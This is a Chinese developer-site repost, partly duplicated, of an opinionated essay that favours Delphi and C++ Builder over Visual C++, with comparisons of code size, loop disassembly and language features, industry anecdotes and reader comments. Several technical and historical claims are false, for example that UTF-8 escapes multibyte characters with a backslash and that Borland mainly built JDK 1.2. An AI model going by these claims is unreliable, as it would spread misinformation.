时的IBM董事长John Opal是大学同学(据说...)。Bill这一招果然有效，没多久就拿到
了IBM的订单，从此DOS成了IBM PC上的首选操作系统。

(2) Borland的名字和历史
Borland听起来不象一个公司的名字，倒象一个国家的名字。
1982年，Philippe Kahn带着3000美元从巴黎到了美国，除去机票钱已所剩无几，只好
租人家的车库小阁间住。Kahn在硅谷干了一段时间，并以MIT(Market In Time，恰好与
麻省理工学院的缩写相同)为名开了一家公司。1983年，Kahn和Anders Hejlsberg(丹麦
人，Turbo Pascal编译器的主要作者)合作开发了Turbo Pascal，并赊帐在《新闻周刊》
上登了一份彩页广告。Turbo Pascal在PC开发工具中是一个里程碑式的产品，它第一次
把编译时间由分缩短到秒，并且其$49的价格在当时也是创纪录的(当时的一份编译器动
辄数千美元，便宜的也要几百美元，还不好用)。Turbo Pascal在不到两年的时间里销
售了超过130万套(考虑到当时的PC数量，这是一个非常惊人的数字)，Borland从此创立。
Kahn在解释为什么以Borland命名时说“我们要起一个与众不同的名字，其他公司都是
叫这个micro，那个soft什么的”。不过据认为这个名称与德国或北欧的某些地名有关
(Kahn的父亲是德国人，而且Borland的很多开发人员是北欧人)。

(3) Anders Hejlsberg为什么去了M$
1996年，Anders Hejlsberg离开Borland去了M$。在此之前，M$曾多次企图挖走Anders，
但都没有成功。据信Anders去M$(主要)不是钱的问题，虽然M$的开价也相当有吸引力：
130万美元年薪外加股票期权和分红，总计超过300万美元。主要原因是Anders和Delphi
开发组的其他成员在修改编译器的问题上发生了争执；还有，据Borland内部人讲，
Anders认为自己不再是“不可缺少的人”。
虽然Anders Hejlsberg去了M$，我仍然尊敬他是一个天才，Turbo Pascal的主要作者，
Delphi的奠基者。
(PS：Anders从1999年初就不在J++组了，而去做COM+的开发。M$的人讲的)

(4) M$产品的秘密
<1> MSC最初是从AT&T买的授权；
<2> VB的1，2，3版实际上不是M$开发的，而是Cooper Software开发的。John Cooper
在M$时未受重用，离开后M$倒要花钱请他开发产品，真有点黑色幽默的味道；
<3> MS SQL Server最初是买Sybase的产品，6.5以前的MS SQL Server和Sybase根本就
是一回事；
<4> Windows 95的主要技术负责人(名字我不记得了，不过在DejaNews(www.deja.com)
上可能还能找到有关文章)是1990年从Borland跳到M$的，不过他在1998年已经离开M$，
开了自己的公司；
<5> Windows NT的开发组整个是从DEC挖来的，是以前做DEC VMS的那些人。所以在
Win32平台上有很多VMS的痕迹，比如说COFF目标文件格式。

(5) .NET到底是什么，Bill Gates也不知道
请看对Bill Gates的采访：
记者：现在，市场仍然对.NET感到困惑。... .NET的实质到底是什么？
盖茨：.NET是我们对下一代Internet的设想。... 举个简单的例子，.NET不仅允许你查
看自己喜爱的棒球队的时间安排，并且还能够对这个时间安排进一步加以利用。
(？？？究竟怎样“进一步加以利用”？为什么不说？难道现在的软件不能“进一步加
以利用”？)

6. 注：
本文系完全由作者本人所写，文中提到的所有技术数据均由本人验证或标明出处，转载
时请保持完整。

Best regards

Herman Wolfenswicz


CSDN_文档中心_再谈Delphi vs VC++(非常精彩)

这是一篇非常精彩的文章，无意中在网上发现，

比起原来《程序员》发表的开发工具大比拼更专业。

可惜不知道作者是谁，如果作者看到或者有谁知道作者，

请一定和我联系。（mail:jiangtao@csdn.net）

偶然来找一个文件，却发现这里关于vc++和delphi的讨论很是激烈。看了大家写的一些
文章，觉得有些看法正确，有些就很偏颇甚至错误(也许无知？很抱歉我这样说:-)。我
无意与任何人争论，更愿意把这看成是技术上的讨论。应该本着公正，不带偏见的态度
(这并不意味着非要平分秋色，一切应以事实为准)。我用过除tp1以外的所有版本的
turbo pascal，所有版本的turbo c/borland c++，所有版本的delphi和c++ builder；
以及msc 5.0/6.0，msc/c++ 7.0和visual c++ 4.2/5.0。不敢说有多高的水平，至少也
算有一点经验吧。下面就谈一下我的看法。

1. 编译器
应该说borland的编译器是最好的。因为borland有全世界最好的编译器开发组(虽然
anders hejlsberg离开了)。从技术上来讲，borland领先任何竞争对手至少2~3年。一
般来说，borland的编译器总是能生成更小的代码并且通常(并不是在任何情况下)更快
的代码。

紫云英、曾登高在文章中说vc++编译的程序小，这其实是使用了动态连接的结果。m$把
vc++的运行库(msvcrt*.dll, msvcp*.dll, mfc*.dll, 你看看这些文件加在一起有多大)
在安装windows时就放在了system/system32目录中了。两位说“协商接口”的问题，恐
怕是对某些英文文章的理解错误。m$就是不愿意在windows中带上其他公司的运行文件，
没有技术上的原因。

其实delphi/c++ builder不论在动态连接或静态连接的情况下，生成的程序都要比
vc++的小。比如mdi的例子程序：在delphi/c++ builder中选new ... | projects |
mdi application，在vc++中用mdi app wizard；生成的程序功能是非常类似的。
下面是比较结果：
(delphi打开优化，c++ builder使用最大速度优化，vc++ 5使用最小代码优化)
delphi 3 delphi 5 c++ builder 5 vc++ 5
dynamic link 21k 35k 44k 70k
static link 253k 398k 467k 490k

凡是使用了应用类库的程序(不管是mfc，owl，vcl以及新的clx框架)都要比不使用的大
不少。这是因为目前的智能连接(smart link)技术还只能针对全局变量/过程，而不能
用于对象结构。哪怕你只使用了某个类(或被这个类间接引用)的一个属性或方法，这个
类以及它所引用的所有类都全部被连接到exe中。目前所有的编译器都没有解决这个问
题。

(ps: 其实能生成最小代码(真编译)的高级语言编译器是turbo pascal，不信你写程序
比较一下：
program test;
begin
writeln('hello, world.');
end.
生成的exe不到1.5k。而同样的c程序：
#include ＜stdio.h＞
main()
{
printf("hello, world.\n");
}
最精悍的c/c++编译器生成的代码也有6k。
)

那么几个编译器生成的代码质量又如何呢？
举一个例子，比如我们在编程时经常用到的for循环语句：
(1) object pascal:
procedure foo;
var
i, j: integer;
begin
for i := 0 to 15 do j := j + i;
end;
(2) c++
void foo(void)
{
int i, j;
for (i = 0; i ＜ 16; i++) j = j + i;
}

delphi 3生成的代码(打开优化)： 字节数 时钟周期
00424aa9 33c0 xor eax,eax 1
00424aab 40 inc eax 1
00424aac 83f810 cmp eax,0x10 1
00424aaf 75fa jnz -0x06 0 (可并行)
-----------------
8 3
c++ builder 5生成的代码(最大速度优化)：
00401535 33c0 xor eax,eax 1
00401537 40 inc eax 1
00401538 83f810 cmp eax,0x10 1
0040153b 7cfa jl -0x06 0 (可并行)
-----------------
8 3

visual c++ 5生成的代码(最大速度优化)：
27: for (i = 0; i ＜ 16; i ++)
00401205 mov ecx,dowrd ptr [j] 1
00401208 xor eax,eax 0 (可并行)
28: {
29: j = j + i;
0040120a add ecx,eax 1
0040120c inc eax 1
0040120d cmp eax,10h 1
00401210 jl foo(0x0040120a)+0ah 0 (可并行)
00401212 mov dword ptr [j],ecx 0/1 (取决于上一条指令的分支预测情况)
30: };
-----------------
16 4.2 (假定分支预测准确度80%)

vc++ 5的最小代码优化生成也有11个字节：
27: for (i = 0; i ＜ 16; i ++)
00401205 xor eax,eax 1
28: {
29: j = j + i;
00401207 add dword ptr [j],eax 1
0040120a inc eax 1
0040120b cmp eax,10h 1
0040121e jl foo(0x00401207)+7 0 (可并行)
30: };
-----------------
11 4

注：
(1) delphi/c++ builder的结果是用turbo debugger直接反汇编的，vc++ 5的结果是从
集成环境的源级调试得到的。
(2) 时钟周期数以pentium处理器为例，实际上，对于没有并行执行单元的cpu(比如
386/486和nx586等)vc++ 5生成的代码速度还要更慢一些。
(3) 分支预测准确度源自intel的"pentium optimization reference"。不过与具体程
序密切相关，一般来说程序中的条件转移指令越密集则分支预测准确度越低。

可以看出，delphi/c++ builder的这段程序有1~1.2个时钟周期的优势。这主要是因为
delphi/c++ builder的编译器比较智能，根本不编译无用的废语句。
(有趣的是，对于这段程序而言，vc++ 5的最大速度优化反而不如最小代码优化生成的
代码运行速度快。)
不要以为1~1.2个时钟周期不算什么，整个程序的快与慢就是这样一个个时钟周期积累
出来的。而且就这几条指令而言相当于快25%~28.6%，是非常可观的数字。
我没有用vc++ 6测试(我从vc++ 5以后不再使用vc了，因为c++ builder 5能完全兼容
vc --- 这种兼容性从c++ builder 3开始就有了，不过一开始并不完善)，不知道是否
有改进。有人有兴趣的话请测试一下。

有兴趣的话，可以去jake's code efficiency challenge(http://www.xnet.com/~johnjac)
看一看。那有代码运行性能挑战。目前delphi/c++ builder在6项测试中保持5项领先。
(ps：delphi 2就曾在1996年的pc week的性能测试中击败过vc++ 4.2)

2. 语言特性
首先我不想评价所谓“pascal是玩具语言”这种无知的说法。某些连basic都用不好的
人是不可能正确评价其它语言的优劣的。至于“只配高中生使用”就更加可笑了：
peter norton没上过大学，id software的john carmack没上过大学，你不服气？！
请不要嘲笑高中生，大多数程序员可能永远也达不到这些“高中生”的水平。创造性工
作需要的是天才，你认为天才相当于什么学位？:-)

(1) 预处理，宏以及.h文件
object pascal不支持预处理，其实是不需要。无法直接编译源代码的编译器才需要预
处理器的支持(用于翻译/规范源程序(也包括.h之类)以利于编译)。预处理器的出现是
因为当初ken thompson和dennis ritchie要在只有256k内存的pdp-11上实现c编译器难
度很大，才采取的折衷办法。现代大多数c/c++产品已经把预处理器包含在编译器中了。
(ps：c中采用尽可能短的关键字/运算符也是由于这个历史原因)
至于macro和.h则应该说是垃圾特性，只是由于兼容性的考虑才保留下来的。ansi/iso
c/c++规范中明确建议：“不要使用macro和.h，应该使用程序中的常量定义和函数替
代”。因为macro和.h不是c/c++的语言特性(这是真的！)，没有明确统一的语法定义。
还会导致编译速度降低，另外由于macro在每个使用的地方被展开(不是调用)，大量使
用macro会使生成的代码臃肿。

(2) 集合，子界类型
c++不支持这些object pascal的原生类型(编译器能直接识别的)。但可以用类来模拟，
毕竟c++的对象结构是最复杂灵活的(ada除外)。不过性能有损失。

(3) 枚举类型
object pascal不支持为每个枚举元素指定值。
例如c/c++中可以定义：enum aweek {sun = 1, mon, tue ...};
object pascal中只能定义：aweek = (sun, mon, tue ...);

(4) 数组
c/c++不支持object pascal中指定下标的数组，下标只能从0开始。

(5) 结构
object pascal不支持struct(在pascal中称为record)中的位域(bitfield)。bitfield
可以bit为单位(不需要整字节)来存储结构成员，可以减小结构的存储空间。不过存取
效率会有所降低。

(6) 字符串
字符串处理是object pascal的强项之一。能够支持灵活高效的串处理。严格意义上讲，
c/c++不能算支持原生的字符串类型。char *和char[]更近似于用户自定义类型，因为
编译器不支持字符串的内存自动分配和回收，需要用户自己调用malloc()和free()。
object pascal也支持c/c++风格的字符串(称为pchar)。不过string类型更加强大。从
实现上来看，object pascal的string类型使用前缀表示串长度(1字节前缀的short
string和4字节前缀的long string，两种string自动兼容，并且long string也兼容
pchar)，c/c++中的char *和char[]使用后缀chr(0)表示串结束。不同的表示方法对串
处理性能有很大的影响：对于大量，复杂的字符串操作，用object pascal可以写出比
c/c++快几十倍的程序(许多用pascal写的pascal编译器，比如free pascal，
pascal pro等，虽然技术水平一般，但编译速度也很快，在某种程度上也得益于pascal
的字符串处理效率)。比如取串长度函数length/strlen()，object pascal的实现只需
要一条mov指令，而c/c++的实现则需要进行重复串扫描直到找到结尾0为止。
object pascal的string类型在支持unicode字符方面也有优势。要知道c/c++的字符串
给现代操作系统支持unicode字符带来了很大的困扰，比如串'abc'的unicode表示为：
41 00 42 00 43 00，这使c/c++程序根本无法处理这种字符串。虽然修改编译器可以很
容易解决这个问题，但光修改编译器是不够的，还要修改操作系统，否则以前的大量
c/c++程序根本无法在新操作系统上使用(这简直是灾难 --- 你连notepad都没了，怎么
办？:-)。windows采用凡是涉及字符串处理的api都提供两套的解决方案。比如textout，
有用于处理ascii字符的textouta和用于处理unicode字符的textoutw。而unix/linux采
用另一种办法：凡是涉及字符串处理的api都使用utf8压缩编码(一种类似于rtf的编码
方法：凡是ascii字符都直接存储，多字节字符则用\进行转义)，虽然(勉强)保证了兼
容性却也代价不小。
(ps：c++中的string/ansistring是用类模拟的，所以性能...)

(7) 多重继承
毫无疑问，object pascal不支持多重继承；并且也看不出borland有增加这一特性的意
向(其实增加是轻而易举的)。object pascal通过接口(interface)实现多重继承。
interface不仅可以引入用object pascal实现的对象，也可以引入其他语言实现的
com/dcom/corba对象。你真的需要多重继承吗？我想大多数程序员和我一样都从来没有
使用过多重继承(连vcl这么强大灵活的体系结构都根本没有用到多重继承)。
(ps：java和delphi一样不支持多重继承，也使用interface来实现多重继承。其实这并
不奇怪：jdk 1.2和java 2主要是由borland开发的，sun只挂名而已。不信你看java类
库是不是和vcl很象。:-)

(8) 对象模板
object pascal不支持对象模板。因为对象模板不过是宏的语言实现而已(宏本身不是
c/c++的语言特性)。

(9) 重载
object pascal支持函数/过程的重载，不支持运算符重载。c++全部支持。
(ps：我个人倾向于object pascal应该增加对运算符重载的支持)

(10) 位及逻辑操作
object pascal和c/c++在这方面没什么差别。
c/c++的＆，|，~，^，＞＞，＜＜，＆＆，||，!等效于object pascal的and，or，not，xor，
shr,shl(and，or，not，xor既用于位操作也用于逻辑操作)。不过c/c++不支持逻辑
xor(a xor b = a and not b or not a and b，还是可以实现的)。

(11) 风格
其实这是我更倾向于使用delphi的一个重要原因(由于工作的原因，我也经常使用c++和
汇编)。就象有些文章所说的：“object pascal和c++是同一重量级的语言”，确实难
分轩轾，差别反而主要是在风格上。c++强调灵活，而object pascal更注重整洁和优美。
《程序设计语言：设计与实现》一书的作者也称赞pascal是“一种极优美的语言”。有
人因此认为pascal“笨拙”。其实应该是“大道至简”。我认为即使用c++写程序也还
是工工整整的好，不要卖弄技巧。只有水平不高不低的程序员才喜欢卖弄技巧(水平太
低的卖弄不了，太高的又不愿卖弄了)。就象有人评李昌镐的棋“平淡”，但马晓春再
怎么“鬼才”也只能甘拜下风。

上面说的其实都是c++ vs object pascal。不过也适用于vc++ vs delphi。
(ps：vc++其实并未实现全部ansi/iso c++ 95规范(目前的最新标准)的特性(所以有人
戏称之为c+)。而c++ builder则完全兼容ansi/iso c++ 95规范，并支持at＆t(c的诞生
地)和unix v的全部c++扩展特性。有人称“m$坚持工业标准，borland随意修改”，这
是不对的。delphi也全兼容ansi/iso pascal 1983/92规范，以及apple object pascal
(用过code warrior professional的应该知道apple的object pascal)。
)

3. 功能及其他
(1) 易用性
毫无疑问delphi有巨大优势，这不用多说了吧。
(ps：delphi的真正伟大之处在于并不因为易用而降低技术水准。你需要复杂性就有复
杂性，你需要灵活性就有灵活性；不用可视化也一样写程序(可视化只是object pascal
对象结构的另一面)，不用vcl也一样写程序)

(2) 适用范围
vc++几乎能做任何硬件允许的工作。delphi也能。
(“不！！！”，我知道你会这样说，你会举出vxd。:-)
delphi不能写vxd(其实如果你用delphi生成obj，再用m$的link连接，是可以的)是有原
因的(你见过非m$的工具能生成vxd的吗？watcom？symantec？gnu？...)，但不是技术
上的原因。vxd的le(linear executable)文件格式最早出现在windows 3.0中，格式很
简单(比ne和pe格式都要简单)，基本上是内存映象文件。但m$不知道出于什么动机就是
不允许其他公司的软件生成它的这种(专利)格式。
delphi是可以写windows nt的sys和新的wdm(windows driver model)驱动程序的，这些
使用普通的dll格式。
(ps：从法律角度讲，你自己写一个程序，未经m$允许生成ms word文件也是不行的)
(ps：玩过“奇迹时代”(age of wonders，http://www.epicgames.com)吗？是用
delphi 3写的。画面和速度都优于m$的“帝国时代”。不过我不喜欢玩策略类游戏，我
喜欢的是duke3d和quake系列，还有tomb raider系列。:-)

(3) 集成开发环境
delphi的ide更简洁/好用一些。

(4) 数据库支持
在这方面除了delphi的兄弟c++ builder/jbuilder恐怕只有power builder能(勉强)与
delphi相比。不过pb的性能和使用范围就差得太远了(要不怎么叫poor builder呢？:-)。
(ps：我的印象是现在大多数基于网络/大型数据库的c/s和多层结构的应用都是用
delphi/jbuilder开发的)

(5) 网络功能
delphi也有一定的优势。尤其是在internet开发方面。

(6) 组件支持
delphi除了基于object pascal的vcl/clx外，也支持基于com/dcom的组件(比如activex)，
另加corba支持。vc++只支持支持基于com/dcom的组件。

(7) 应用框架/设计思想
vcl比mfc至少领先一代，这也毋须多言。mfc充其量不过是对owl的(一种不太成功的)模
仿而已，从设计思想上看甚至还不如owl。作为一种语言的基本类库(不论可视与否)，
应该从大处着眼，力求简洁有效，保持一定的弹性和抽象度(抽象意味着从功能出发，
比如vcl中的tcanvas就是对windows中dc(device context)的一种极好的抽象，比起mfc
中的设计高明了何止一点半点)。而不是面面俱到，一一照搬apis(不幸的是，m$的程序
员多年以来一直在不辞劳苦地做这项工作)。看看mfc的某些类，简直惨不忍睹：通常除
了省了hwnd和dc之类的参数(已经作为类的私有数据保存了)，其方法(method)简直就是
windows api的翻版。这样做有什么意义呢？windows api不就摆在那里吗？比如说，使
用mfc中的线程类还不如直接调用createthread/exitthread/resumethread/
setthreadpriority之类的api更方便快速呢。
(ps：用过delphix(http://www.yks.ne.jp/~hori/)吗？directx这么繁杂的结构可以用
object pascal封装得如此之好再次证明了vcl体系结构的强大)

(8) 调试
两者相差无几。vc++的源级调试更用户友好一些，而delphi/c++ builder对多线程程序
的调试支持更好。
(ps：要比单独的调试工具，borland的turbo debugger可就要比m$的codeview强多了)

(9) 运行环境/系统需求
应该说差不多。vc++的启动速度确实要快于delphi(这主要是相对于delphi 4+而言，
delphi 3的启动还是很快的)。这很大程度上是由于一个事实：vc++主要是一个基于文
本编辑器的传统开发环境。code warrior professional不是启动更快吗？
至于“一个数据库程序要带上3~5mb的bde运行文件”的说法，这可能是由于在安装制作
工具(installsheild，wise之类)中使用了“全部bde安装”(默认)而不是“部分bde安
装”。如果你只使用access，dbase，foxpro，paradox之类的桌面数据库，只需要几百
k的运行文件就可以了。用m$的工具开发的数据库程序也要带上一大堆odbc，dao，jet，
ado，msde之类的运行文件。在delphi 5中，如果使用adoexpress，interbase express
访问数据库的话，可以不带bde。
(ps：不管怎么说，borland在delphi/c++ builder的启动速度方面还是要努力改进!)

(10) 产品质量/稳定性
有文章称“vc++的质量好，稳定性高”。真的是这样吗？visual studio的service pack
不是都出到4了吗？什么是service pack？主要不就是bug fix + patch吗？！borland
的工具也并不完美，delphi 3的vcl中确实存在“内存漏洞”，会导致用d3开发的程序
有时(并不总是)退出后不能释放分配的内存。vc++的问题也不少：ie是用vc++写的吧，
上网时多启动几个，开开关关，最后全关闭，看看你的系统资源剩下多少了？还经常导
致“general protection error”。ultra edit是用vc++写的吧，也有同样的问题。其
实说到底，程序质量好不好，运行稳定不稳定，主要取决于开发者的水平/责任心。比
如说tomb raider系列和quake系列游戏同是用vc++开发的，但画面质量和运行速度显然
quake系列更胜一筹。象美国航空航天局(nasa)，俄罗斯宇航局(rsa)，美洲银行(bank
of america，资产超过5000亿美元的大银行)，其他诸如american airlines，at＆t，
bmw，compaq，bbc television，british telecom等大型机构/公司都在用delphi开发
复杂的，企业级(可笑的是，有人居然称“用vc开发企业级的桌面应用”，殊不知企业
级应用和桌面应用是相对而言的)的应用系统(在http://community.borland.com
(borland社团站点)上有关于用delphi和c++ builder开发的产品介绍)，如果有人还要
说“...稳定和可靠是硬道理，只好忍痛割爱了”，那他恐怕只好自制开发工具(外带操
作系统)了。:-)
(ps：关于delphi与某些显卡驱动冲突的问题，是由于某些显卡(如s3 virge gx)的老版
本驱动程序不能正确处理windows公用控制中的imagelist的绘制方法造成的，在这种情
况下所有在imagelist中使用多个图象的程序都会有问题)
(ps：至于“一看到很多优秀的共享软件冒出具有delphi特色的错误异常就感到悲哀”，
建议此人先搞清楚你看到的“错误异常”消息是这些软件本身出错呢，还是运行时的异
常处理消息(比如“没有找到指定文件”或“索引超出范围”之类)再说。delphi中有完
善的异常处理，所以很多程序员不再写错误处理，而放手让编译器去处理。我认为这不
是一个好习惯，至少弹出的消息对话框可能与你的程序所用的语言/风格不一致。让人
家误会了不是？:-)

(11) 帮助/文档
vc++的帮助和文档确实要比delphi/c++ builder的丰富一些。不过这不应当包括msdn，
因为msdn是一套独立的产品，并不是专门给vc++准备的，况且其中包括了相当多的
windows技术资料。作为一名程序员，不管用什么开发工具，可以(也应当)有一套msdn。
windows数据结构/apis是用c风格描述的这一点可能对delphi程序员来说略有不便，不
过delphi中已经包括了大多数转换；另外，如果一个程序员连转换.h文件这么简单的工
作都做不了的话，他(她)可能也做不了什么象样的开发。internet上的一个志愿者组织
(www.delphi-jedi.org/)在这方面也做了大量工作，在他们的站点上有几乎全部有用的
c/c++库.h的object pascal翻译。
(ps：delphi/c++ builder程序员为什么不可以买一套msdn呢？毕竟我们还在用m$的操
作系统，总不至于连windows技术资料都不要了吧)
(ps：从msdn看m$
msdn中的技术资料主要是以compiled html(.chm)格式存放的，但m$把全部.chm放在
disc #1，而把索引文件(.chi)单独放在disc #2。这样一来就无法从光盘上直接看这些
文件。要么安装，要么手工把相应的.chm和.chi拷贝到一起。我看不有什么技术上的理
由(谁知道请告诉我)不把一半.chm和.chi放在一张盘，而另一半放在第二张盘。这至少
反映出m$内部某些人的阴暗心理)

(12) 国际化支持
vc++中已经包括了十多种语言的rtl资源，delphi中需要自己做资源本地化。虽然
franch，german之类的版本中也包括english资源。:-＜

(13) 应用领域
vc++在windows设备驱动开发(毕竟是m$ windows)和某些桌面应用(比如游戏)开发中用
得较多。delphi更多应用在数据库/多层结构，多媒体和internet开发等方面。
(ps：vc++在游戏开发中用得较多我看主要是价格因素，游戏使用专用界面，通常不涉
及数据库和internet(即使internet play也不过是简单的tcp连接，并且directplay中
已包括此项功能)，昂贵的delphi和c++ builder显示不出优势。只需要$79的vc++标准
版，directx sdk(可免费下栽)，opengl文档(也是免费的)，至多再加一套msdn即可。
比如quake，全是手写的c代码，连c++特性都很少用到。borland也认识到了这一问题，
所以发布了免费的c++编译器)

(14) 价格
m$的开发工具确实便宜(相对而言)，不过是否物有所值，只能看你干什么用了。
(ps：别指望你买的toyota能有ferrari的性能。:-)

(15) 前景
有人认为m$财大气粗，borland难以对抗。我看不能这么简单下结论。m$有它自己的问
题：法律诉讼，人才流失，资源分散，四面出击(m$现在连鼠标，键盘，游戏杆，玩具
都生产)。而borland/inprise集中精力在开发工具，中件产品(如midas，visibroker和
application server)和企业应用/管理环境(如appcenter和security service)上，应
该还是大有可为的。
况且borland和m$之间并非纯粹的竞争关系，borland开发工具给m$ windows带来的收益
要远大于和m$开发工具竞争带来的损失。毕竟对m$来说，开发工具只占其收入的很少一
部分，即使不搞开发工具也只不过是个面子问题，于m$无损。m$在它面临垄断/不正当
竞争指控的时候，因为长期侵犯知识产权而赔偿给borland一亿美元(称为“授权费”)，
这多少也可以看作是一种和解的举动吧。
另一种经常听到的论调是“m$的产品市场份额大，borland能撑得住吗？”，这其实也
有很多问题。鉴于m$出于竞争的目的，经常虚报数字，影响市场(m$的律师在法庭上承
认m$曾夸大过其ie和office的市场占有率)；m$自己宣传的其开发工具的市场占有率也
很值得怀疑。m$还有重复计算的问题，比如卖掉一套visual studio，在计算vb，vc，
vj等的销售量时都计算在内。其实很多人/公司买visual studio只用其中的一两种。其
实borland产品的销售量还是很大的，尤其是在欧洲，北美和澳大利亚，在亚洲...(是
因为d版太多了)。另外，每个公司都有自己的产品/市场定位，你能因为toyota，ford，
volkswagen卖的多就说ferrari，maclaren，benz不行了吗？

4. 结论
delphi(其实应该说borland产品)在技术上有优势，vc++(其实应该说m$产品)也占有相
当的市场份额。
(ps：说了半天等于没说。:-)
(ps：m$的c#(读c sharp)能取得突破吗？我看不会。因为m$产品通常达不到所宣传的性
能；而且一种不符合标准(c#不兼容任何一种语言标准，虽然据称更接近c)的产品也很
难取得成功。j++就是一例)

5. 附：我所知道的borland和m$的故事
(1) bill gates是如何拿到ibm订单的
1979年，tim paterson写了最初的dos并以$1000的价格卖给了digital reserch。当时
apple的apple i和apple ii销势很好，所以ibm在1980年也决定搞pc。bill gates知道
后，认为是个机会，就以$5000从digital reserch买下了dos，并逼着手下人在一间没
有空调的小黑屋里日夜不停加以修改。m$当时是个小公司，只有十几个人，名叫
micro-soft。所以尽管dos的开价($20000加每拷贝$30授权费)比cp/m-86(指用于intel
8086/8088的版本，不是指年代)的开价($100000加每拷贝$70授权费)便宜不少，ibm的
人还是倾向于使用cp/m-86。据“比尔.盖茨的秘密”(bill gates' secrets)一书的作
者说，bill急得团团转，只好求助于他妈妈。bill的母亲时任华盛顿大学校长，与当
时的ibm董事长john opal是大学同学(据说...)。bill这一招果然有效，没多久就拿到
了ibm的订单，从此dos成了ibm pc上的首选操作系统。

(2) borland的名字和历史
borland听起来不象一个公司的名字，倒象一个国家的名字。
1982年，philippe kahn带着3000美元从巴黎到了美国，除去机票钱已所剩无几，只好
租人家的车库小阁间住。kahn在硅谷干了一段时间，并以mit(market in time，恰好与
麻省理工学院的缩写相同)为名开了一家公司。1983年，kahn和anders hejlsberg(丹麦
人，turbo pascal编译器的主要作者)合作开发了turbo pascal，并赊帐在《新闻周刊》
上登了一份彩页广告。turbo pascal在pc开发工具中是一个里程碑式的产品，它第一次
把编译时间由分缩短到秒，并且其$49的价格在当时也是创纪录的(当时的一份编译器动
辄数千美元，便宜的也要几百美元，还不好用)。turbo pascal在不到两年的时间里销
售了超过130万套(考虑到当时的pc数量，这是一个非常惊人的数字)，borland从此创立。
kahn在解释为什么以borland命名时说“我们要起一个与众不同的名字，其他公司都是
叫这个micro，那个soft什么的”。不过据认为这个名称与德国或北欧的某些地名有关
(kahn的父亲是德国人，而且borland的很多开发人员是北欧人)。

(3) anders hejlsberg为什么去了m$
1996年，anders hejlsberg离开borland去了m$。在此之前，m$曾多次企图挖走anders，
但都没有成功。据信anders去m$(主要)不是钱的问题，虽然m$的开价也相当有吸引力：
130万美元年薪外加股票期权和分红，总计超过300万美元。主要原因是anders和delphi
开发组的其他成员在修改编译器的问题上发生了争执；还有，据borland内部人讲，
anders认为自己不再是“不可缺少的人”。
虽然anders hejlsberg去了m$，我仍然尊敬他是一个天才，turbo pascal的主要作者，
delphi的奠基者。
(ps：anders从1999年初就不在j++组了，而去做com+的开发。m$的人讲的)

(4) m$产品的秘密
＜1＞ msc最初是从at＆t买的授权；
＜2＞ vb的1，2，3版实际上不是m$开发的，而是cooper software开发的。john cooper
在m$时未受重用，离开后m$倒要花钱请他开发产品，真有点黑色幽默的味道；
＜3＞ ms sql server最初是买sybase的产品，6.5以前的ms sql server和sybase根本就
是一回事；
＜4＞ windows 95的主要技术负责人(名字我不记得了，不过在dejanews(www.deja.com)
上可能还能找到有关文章)是1990年从borland跳到m$的，不过他在1998年已经离开m$，
开了自己的公司；
＜5＞ windows nt的开发组整个是从dec挖来的，是以前做dec vms的那些人。所以在
win32平台上有很多vms的痕迹，比如说coff目标文件格式。

(5) .net到底是什么，bill gates也不知道
请看对bill gates的采访：
记者：现在，市场仍然对.net感到困惑。... .net的实质到底是什么？
盖茨：.net是我们对下一代internet的设想。... 举个简单的例子，.net不仅允许你查
看自己喜爱的棒球队的时间安排，并且还能够对这个时间安排进一步加以利用。
(？？？究竟怎样“进一步加以利用”？为什么不说？难道现在的软件不能“进一步加
以利用”？)

6. 注：
本文系完全由作者本人所写，文中提到的所有技术数据均由本人验证或标明出处，转载
时请保持完整。

best regards

herman wolfenswicz

对该文的评论
SuperFir (2000-12-11 18:34:38)

不错！我是个菜鸟！可我还准备学习vc6呢。
打击我！

lixiaolei (2000-12-6 13:31:34)

【www.delphi-jedi.org/】我为什么进步去？

yunn (2000-12-1 22:15:29)

同意笔者的意见
我也是三种工具都用很长的时间了，对vc++的感觉就是没有DELPHI好
哎，说起来，工具就是工具，就看你合适哪个了

GuXl (2000-12-1 15:50:17)

Vc ＆ Delphi 都只不过是 工具

当然工具也要挑好用的用，
化大量时间去 训练人适应工具好像不大合宜吧

dogbear2000 (2000-12-1 11:41:08)

我非常喜欢你的文章，如果转载，需不需要付费？

r3000 (2000-12-1 10:38:24)

我以一个程序老兵的身份，象你致敬，说的非常好，不过，
有这样一个事实，delphi确实比VC强，VCL也确实强于MFC，
但大多数商业软件仍旧是使用VC开发的，并且有很多根本就是
用API开发的，所以一个所谓先进的技术，比如C++，比如面向对象，
并不代表开发出的东西是先进的，可能只是时髦而已。

所以我说，还是别比了，根本就是两回事，
Delphi可能是摇滚乐，VB可能是流行乐，
VC可能是严肃音乐，不能因为个人好恶否定任何一种。

也经常听初学者问：那种开发工具更好？
我的回答是：不在工具而在人，人不行好琴也只出噪音！


CSDN_文档中心_再谈Delphi vs VC++

偶然来找一个文件，却发现这里关于VC++和Delphi的讨论很是激烈。看了大家写的一些
文章，觉得有些看法正确，有些就很偏颇甚至错误(也许无知？很抱歉我这样说:-)。我
无意与任何人争论，更愿意把这看成是技术上的讨论。应该本着公正，不带偏见的态度
(这并不意味着非要平分秋色，一切应以事实为准)。我用过除TP1以外的所有版本的
Turbo Pascal，所有版本的Turbo C/Borland C++，所有版本的Delphi和C++ Builder；
以及MSC 5.0/6.0，MSC/C++ 7.0和Visual C++ 4.2/5.0。不敢说有多高的水平，至少也
算有一点经验吧。下面就谈一下我的看法。

1. 编译器
应该说Borland的编译器是最好的。因为Borland有全世界最好的编译器开发组(虽然
Anders Hejlsberg离开了)。从技术上来讲，Borland领先任何竞争对手至少2~3年。一
般来说，Borland的编译器总是能生成更小的代码并且通常(并不是在任何情况下)更快
的代码。

紫云英、曾登高在文章中说VC++编译的程序小，这其实是使用了动态连接的结果。M$把
VC++的运行库(msvcrt*.dll, msvcp*.dll, mfc*.dll, 你看看这些文件加在一起有多大)
在安装Windows时就放在了System/System32目录中了。两位说“协商接口”的问题，恐
怕是对某些英文文章的理解错误。M$就是不愿意在Windows中带上其他公司的运行文件，
没有技术上的原因。

其实Delphi/C++ Builder不论在动态连接或静态连接的情况下，生成的程序都要比
VC++的小。比如MDI的例子程序：在Delphi/C++ Builder中选New ... | projects |
MDI Application，在VC++中用MDI App Wizard；生成的程序功能是非常类似的。
下面是比较结果：
(Delphi打开优化，C++ Builder使用最大速度优化，VC++ 5使用最小代码优化)
              Delphi 3  Delphi 5  C++ Builder 5  VC++ 5
Dynamic Link  21k       35k       44k            70k
Static Link   253k      398k      467k           490k

